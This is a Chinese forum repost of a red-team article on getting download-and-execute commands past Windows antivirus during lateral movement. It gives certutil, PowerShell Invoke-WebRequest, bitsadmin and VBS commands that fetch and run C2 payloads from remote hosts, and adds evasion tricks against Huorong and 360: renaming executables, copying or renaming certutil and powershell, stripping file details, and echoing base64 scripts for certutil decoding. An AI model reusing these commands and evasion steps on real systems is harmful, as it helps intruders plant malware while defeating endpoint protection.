搜索

[2261] 2021-04-02_Hvv-Windows下载执行命令Bypass

文档创建者：s7ckTeam
浏览次数：0
最后更新：2025-01-16
2021-04-02_Hvv-Windows下载执行命令Bypass H v v -   W i n d o w s   下 载 执 行 命 令   B y p a s s 原 创   E D I 安 全   E D I 安 全   2 0 2 1 - 0 4 - 0 2 点 击 蓝 字 点 击 蓝 字   ·     关 注 我 们 关 注 我 们 背 景 背 景 一 年 一 度 的 H V V 又 要 开 始 啦 ， 在 内 网 横 向 的 时 候 ， 可 能 在 W e b s h e l l   上 传 大 文 件 、 或 S M B E X E C 、 x p _ c m d s h e l l   执 行 的 时 候 ， 需 要 利 用 系 统 自 带 的 下 载 命 令 ， 直 接 下 载 C 2 马 执 行 。 我 在 这 里 就 不 说 如 何 用 D O S 命 令 写 执 行 文 件 了 ， （ 主 要 利 用 c e r t u t i l   进 行 加 密 ， 分 段 写 入 ， 再 利 用 c e r t u t i l 解 密 还 原 ） 再 做 下 载 了 ， 遇 到 稍 微 大 一 些 的 文 件 ， 着 实 有 点 费 劲 。 c e r t u t i l   B y p a s s 普 通 下 载 普 通 下 载 可 以 看 到 防 护 项 目 ， 指 出 我 们 利 用 C e r t u t i l   下 载 了 可 执 行 文 件 ， 那 么 我 们 下 载 非 执 行 文 件 是 否 就 可 以 了 呢 ？ 直 接 把 下 载 的 可 执 行 文 件 ， 改 成 t x t ， 火 绒 就 可 以 B y p a s s 了 ( 可 见 这 里 火 绒 拦 截 的 只 是 下 载 文 件 的 后 缀 格 式 ， 是 否 为 可 执 行 文 件 ) c e r t u t i l   - u r l c a c h e   - s p l i t   - f   h t t p : / / x x x / c a l c . e x e     C : w i n d o w s t e m p u p d a t e s . e x e c e r t u t i l   - u r l c a c h e   - s p l i t   - f   h t t p : / / x / c a l c . t x t     C : w i n d o w s t e m p u p d a t e s . t x t     & &   C : w i n d o w s t e m p u p d a t e s . t x t
但 是 ， 当 我 们 遇 到 了 3 6 0 ， 并 不 好 使 ！ ！ ！   风 险 内 容 为 ： c e r t u t i l   木 马 下 载 工 具 ， 那 是 识 别 出 我 的 命 令 ？ 这 个 最 后 解 决 挺 佛 系 的 ，   首 先 我 们 要 c o p y   一 份   c e r t u t i l   到 任 意 目 录   任 意 文 件 名 ， 保 持 不 变 也 没 有 关 系 为 了 运 行 c e r t u t i l 时   不 在 s y s t e m 3 2 目 录 下 运 行 ，     1 . 首 先 正 常 执 行 一 遍 ， 不 要 带 任 何 参 数 ，     2 . 第 二 遍 再 带 参 数     3 6 0 就 不 拦 截 啦 P o w e r s h e l l   d o w n l o a d
P o w e r h s e l l   如 果 执 行 的 第 一 条 没 有 被 绕 过 ， 那 么 接 下 来 执 行 W h o m a i   也 会 被 b a n 针 对 3 6 0 的 拦 截 ， 需 要 把 p o w e r s h e l l   名 称 修 改 掉 ， 由 于 我 这 里 的 下 载 网 址 不 存 在 ， W e b r e q u e s t 的 操 作 还 是 执 行 了 的 （ 但 是 很 多 情 况   对 p o w e r s h e l l   拦 截 的 着 实 很 严 重 ， 有 更 好 的 方 法 ， 师 傅 们 可 以 加 我 们 内 部 创 建 的 群 ， 互 相 交 流 下 ） ， p o w e r s h e l l   可 以 和 环 境 变 量 花 式 玩 起 来 。 B i t s a d m i n   p o w e r s h e l l   - c   " I n v o k e - W e b R e q u e s t   - u r i     h t t p : / / x : 8 0 / d o w n l o a d / s v . e x e   - O u t F i l e     C : w i n d o w s t a s k s x . e x e " b b . e x e   / t r a n s f e r   n     h t t p s : / / w w w . b a i d u . c o m / i m g / f l e x i b l e / l o g o / p c / r e s u l t . p n g   % L O C A L A P P D A T A % T e m p 1 . t x t
当 我 把 详 细 信 息 的 b i t s a d m i n   删 除 后
我 的 下 载 就 可 以 正 常 执 行 了 ， 某 数 字 A V 就 对 我 放 行 了 。 所 以 杀 的 并 不 是 行 为 ， 只 是 特 征 ！ 但 是 在 D O S 下 对 详 细 信 息 的 处 理 也 不 是 很 轻 松 ， 具 体 还 是 要 看 大 家 当 时 的 环 境 和 需 求 ， 支 持 个 怎 么 样 的 玩 法 吧 。 手 写 V B S 进 行 下 载 这 里 要 求 对 V B S 免 杀 就 可 以 了 ， 火 绒 和 3 6 0 都 是 没 有 拦 截 的 。 c s c r i p t   d o w n . v b s   h t t p : / / w w w . b a i d u . c o m / i m g / d o n g _ 5 2 8 d 3 4 b 6 8 6 d 4 8 8 9 6 6 6 f 7 7 c 6 2 b 9 a 6 5 8 5 7 . g i f   1 . j p g
那 么 环 境 再 苛 刻 一 点 ， 只 有 一 个 S h e l l 会 话 ， 这 1 3 行 代 码 如 何 在 命 令 行 中 e c h o   到 目 标 呢 ？ 本 地 做 好 b a s e 6 4 加 密
手 动 去 除 注 释 信 息 ， 和 换 行 ， 拼 接 为 一 行 ， 直 接 e c h o   写 入 目 标 ， 再 用 c e r t u t i l   - d e c o d e   做 解 密 即 可 正 常 使 用 。 这 里 写 的 还 算 是 比 较 短 的 了 ， 如 果 有 更 好 的 方 法 ， 希 望 师 傅 们 可 以 加 我 们 内 部 群 共 同 讨 论 。 0 0 T i p                             V B S 脚 本 可 转 发 朋 友 圈 并 关 注 公 众 号 脚 本 可 转 发 朋 友 圈 并 关 注 公 众 号   回 复 回 复 E D I - V B S   进 行 下 载 进 行 下 载

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理